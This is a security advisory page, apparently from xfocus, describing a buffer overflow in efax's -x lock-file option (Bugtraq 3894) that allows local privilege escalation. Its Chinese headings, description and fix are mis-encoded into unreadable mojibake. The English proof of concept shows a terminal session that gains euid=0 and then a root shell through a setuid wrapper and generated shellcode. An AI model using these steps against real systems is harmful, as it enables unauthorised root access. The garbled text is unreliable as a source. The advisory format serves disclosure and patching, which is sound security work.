xfocus logo xfocus title
Ê×Ò³ ½¹µãÔ­´´ °²È«ÎÄÕª °²È«¹¤¾ß °²È«Â©¶´ ½¹µãÏîÄ¿ ½¹µãÂÛ̳ ¹ØÓÚÎÒÃÇ
English Version

EFax UUCP-style Lock ÎļþÃüÁîÐÐÑ¡Ïî´æÔÚ»º³åÒç³ö


·¢²¼Ê±¼ä£º2002-01-19
¸üÐÂʱ¼ä£º2002-01-19
ÑÏÖØ³Ì¶È£º¸ß
Íþв³Ì¶È£ºÈ¨ÏÞÌáÉý
´íÎóÀàÐÍ£º±ß½ç¼ì²é´íÎó
ÀûÓ÷½Ê½£º·þÎñÆ÷ģʽ

BUGTRAQ ID£º3894

ÊÜÓ°Ïìϵͳ
efax efax 0.8a
   - RedHat Linux 6.0 i386
   - TurboLinux Turbo Linux 6.0
efax efax 0.9a
efax efax 0.9
   + MandrakeSoft Linux Mandrake 8.1
   + RedHat Linux 7.0
   + RedHat Linux 7.1
   + RedHat Linux 7.2
ÏêϸÃèÊö
efaxÊÇÒ»¿îLINUXϵĴ«Õ湤¾ß¡£

ÆäÖÐÔÚ¶Ôuucp-styleËøÎļþÑ¡ÏîûÓкܺõĽøÐб߽ç¼ì²é£¬-x¿ª¹Ø»á²úÉú»º³åÒç³ö¶øµ¼ÖÂÈÎÒâÃüÁî¿ÉÖ´ÐС£

²âÊÔ´úÂë
Running /bin/id:

hdm@sliver> efax -x $EX
efax: Wed Jan 16 03:43:10 2002 efax v 0.9a-001114 Copyright 1999 Ed Casas
efax: Wed Jan 16 03:43:10 2002 efax v 0.9a-001114 Copyright 1999 Ed Casas
efax: 43:10 compiled Aug 16 2001 10:23:23
efax: 43:10 Error: can't open pre-lock file <nops>&euml;^)&Agrave;&#710;F¡ëF
                     ¡ë¡ã
                       &#8225;¨®&#141;&#141;S
                            &Iacute;€)&Agrave;@&Iacute;€¨¨&THORN;&yuml;&yuml;&yuml;/bin/idA&yuml;&iquest;/TMP..08795: File name too long
uid=500(hdm) gid=100(users) euid=0(root) groups=100(users)


Getting a root shell:

hdm@sliver > echo 'void main(void){setuid(0);system("/bin/sh");}' > /tmp/ex.c
hdm@sliver > gcc -o /tmp/ex /tmp/ex.c
/tmp/ex.c: In function `main':
/tmp/ex.c:1: warning: return type of `main' is not `int'
hdm@sliver > export EX=`perl genshell.pl 1029 $ADDR`
shell code is: 43 bytes
hdm@sliver > efax -x $EX
efax: Wed Jan 16 03:46:21 2002 efax v 0.9a-001114 Copyright 1999 Ed Casas
efax: Wed Jan 16 03:46:21 2002 efax v 0.9a-001114 Copyright 1999 Ed Casas
efax: 46:21 compiled Aug 16 2001 10:23:23
efax: 46:21 Error: can't open pre-lock file <nops>&euml;^)&Agrave;&#710;F¡ëF
                     ¡ë¡ã
                       &#8225;¨®&#141;&#141;S
                            &Iacute;€)&Agrave;@&Iacute;€¨¨&THORN;&yuml;&yuml;&yuml;/tmp/exA&yuml;&iquest;/TMP..08846: File name too long
sh-2.04#

½â¾ö·½°¸
±£Ö¤efax²»ÒÔsetuid root

Ïà¹ØÐÅÏ¢
²Î¿¼£ºhttp://www.securityfocus.com/archive/1/250837